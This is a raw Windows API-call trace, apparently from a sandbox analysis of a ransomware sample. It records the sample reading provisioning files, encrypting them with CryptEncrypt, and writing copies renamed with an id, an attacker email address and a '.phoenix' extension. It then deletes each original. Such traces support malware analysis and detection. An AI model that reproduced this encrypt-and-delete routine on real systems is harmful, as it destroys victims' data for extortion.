	[0236.386] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0236.386] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0236.386] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0236.386] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d4, lpOverlapped=0x0) returned 1
	[0237.107] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.107] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.107] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1514c0) returned 1
	[0237.108] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.108] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.108] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0237.108] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.108] CryptDestroyKey (hKey=0x151500) returned 1
	[0237.108] CloseHandle (hObject=0x2f0) returned 1
	[0237.108] CloseHandle (hObject=0x2c0) returned 1
	[0237.108] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.109] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.109] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.109] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=728) returned 1
	[0237.109] CloseHandle (hObject=0x2c0) returned 1
	[0237.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0237.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.110] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.110] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.110] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.110] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.110] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0237.110] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.110] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d8, lpOverlapped=0x0) returned 1
	[0237.286] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.286] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.287] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0237.287] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.287] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.287] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0237.287] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0237.287] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0237.287] CloseHandle (hObject=0x2c0) returned 1
	[0237.287] CloseHandle (hObject=0x2f0) returned 1
	[0237.288] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml")) returned 1
	[0237.289] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.289] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.289] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=480) returned 1
	[0237.289] CloseHandle (hObject=0x2f0) returned 1
	[0237.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0237.289] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.289] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.289] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.290] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.290] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.290] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0237.290] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.290] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1e0, lpOverlapped=0x0) returned 1
	[0237.291] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1f0) returned 1
	[0237.291] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1f0, lpOverlapped=0x0) returned 1
	[0237.292] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0237.292] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.292] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0237.292] CryptDestroyKey (hKey=0x151380) returned 1
	[0237.292] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0237.292] CryptDestroyKey (hKey=0x151100) returned 1
	[0237.292] CloseHandle (hObject=0x2f0) returned 1
	[0237.292] CloseHandle (hObject=0x2c0) returned 1
	[0237.292] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0237.293] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.293] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.294] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=720) returned 1
	[0237.294] CloseHandle (hObject=0x2c0) returned 1
	[0237.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.294] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.294] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.294] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.294] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.294] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0237.294] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.294] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d0, lpOverlapped=0x0) returned 1
	[0237.361] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0237.361] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.362] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0237.362] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.362] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0237.362] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.362] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0237.362] CryptDestroyKey (hKey=0x151580) returned 1
	[0237.362] CloseHandle (hObject=0x2c0) returned 1
	[0237.362] CloseHandle (hObject=0x2f0) returned 1
	[0237.362] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.363] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0237.363] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.364] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=719) returned 1
	[0237.364] CloseHandle (hObject=0x2f0) returned 1
	[0237.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml")) returned 0x20
	[0237.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.364] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0237.364] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.364] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0237.364] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0237.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151580) returned 1
	[0237.365] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.365] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cf, lpOverlapped=0x0) returned 1
	[0237.430] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0237.430] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0237.431] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0237.431] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0237.431] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0237.431] CryptDestroyKey (hKey=0x1516c0) returned 1
